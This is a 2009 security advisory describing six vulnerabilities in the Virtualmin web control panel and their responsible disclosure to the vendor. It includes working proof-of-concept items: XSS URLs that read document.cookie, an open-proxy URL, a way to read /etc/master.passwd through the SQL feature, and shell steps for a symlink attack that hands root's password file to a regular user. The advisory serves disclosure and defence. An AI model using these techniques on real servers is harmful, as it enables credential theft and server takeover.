Virtualmin Multiple Vulnerabilities

by Filip Palian <filip (dot) palian (at) pjwstk (dot) edu (dot) pl

Software affected:
Virtualmin < 3.703

Description (from the vendor site):
"Virtualmin is the world's most powerful and flexible web server control
panel.
Manage your virtual domains, mailboxes, databases, applications, and the
entire server, from one comprehensive interface".

Overview:
Virtualmin is prone to multiple vulnerabilities.

#1 Unprivileged port use
The Virtualmin listens by default on port 10000. Regular users are able
to run
their own daemon on that port and prevent Virtualmin to run.

#2 XSS
The Virtualmin doesn't validate input data correctly in some scripts. As a
result attackers are able to conduct XSS and CSRF attacks. Note that
"referers_none" configuration option must be set to "0", when it's set
to "1"
by default.

Examples:
https://127.0.0.1:10000/left.cgi?mode=ea&dom='><script>alert(document.cookie);</script>
https://127.0.0.1:10000/virtual-server/link.cgi/%3Ci%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

#3 Anonymous proxy
The attacker is able to use "Preview Website" featrue to hide hers real
location and conduct attacks on different servers in the Internet.

Example:
https://127.0.0.1:10000/virtual-server/link.cgi/67.228.198.99/http://www.virtualmin.com/

#4 Information disclousure
It's possible to view and/or copy any file on the server due to system()
call
in mysql module, which copies any file specified by the user
to Virtualmin temporary dir. Note it's a time based attack as the copied
file
is almost immediately removed after creation.

#5 Information disclousure
It's possible to view any file on the server because Virtualmin doesn't drop
root privileges to perform some of its actions.

Example:
Use the "Execute SQL" feature in the mysql module by passing
"/etc/master.passwd" parameter as the file path to the .sql file:

-- cut --
Output from SQL commands in file /etc/master.passwd ..
ERROR 1064 (42000) at line 3: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near 'root:$1$HASH_HERE.:0:0::0:0:Charlie
&:/root:/usr/local/bin/' at line 1
-- cut --

#6 Symlink attacks
There are Virtualmin modules which allows the attacker to conduct a
successful symlink attack, which may lead to a full compromise of the
server.

Example for "Backup Virtual Servers":
1) Regular user creates backupdir and symlink:
  $ mkdir virtualmin-backup && ln -s /etc/master.passwd
virtualmin-backup/test
  $ ls -la /etc/master.passwd
  -rw-------  1 root  wheel  1024 Jan 19 23:08 /etc/master.passwd

2) From the panel regular user creates backup:
  "Backup and Restore" -> "Backup Virtual Servers" and "Destination and
format"

set options to:

  Backup destination [x] File or directory under virtualmin-backup/ - "test"
  Backup format     [x] Single archive file

and create backup by submitting "Backup Now".

3) Regular user now owns the symlinked file:
  $ ls -la /etc/master.passwd
  -rw-------  1 user  user  1024 Jan 21 00:51 /etc/master.passwd

Status:
The vendor has provided updates and solutions to all vulnerabilities
described above. Upgrading immediately is strongly recommended for all
Virtualmin users.

Disclosure timeline:
21 VI 2009: Detailed information with examples and PoCs sent to the vendor.
24 VI 2009: Initial vendor response.
25 VI 2009: Few more vulnerabilities with examples and PoCs sent to the
vendor.
26 VI 2009: Hot fix for the mysql module released by the vendor.
05 VII 2009: New version of the Virtualmin with fixes released by the
vendor.
14 VII 2009: Security bulletin released.

Links:
* http://www.virtualmin.com/
* http://www.virtualmin.com/node/10412
* http://www.virtualmin.com/node/10413


Best regards,
Filip Palian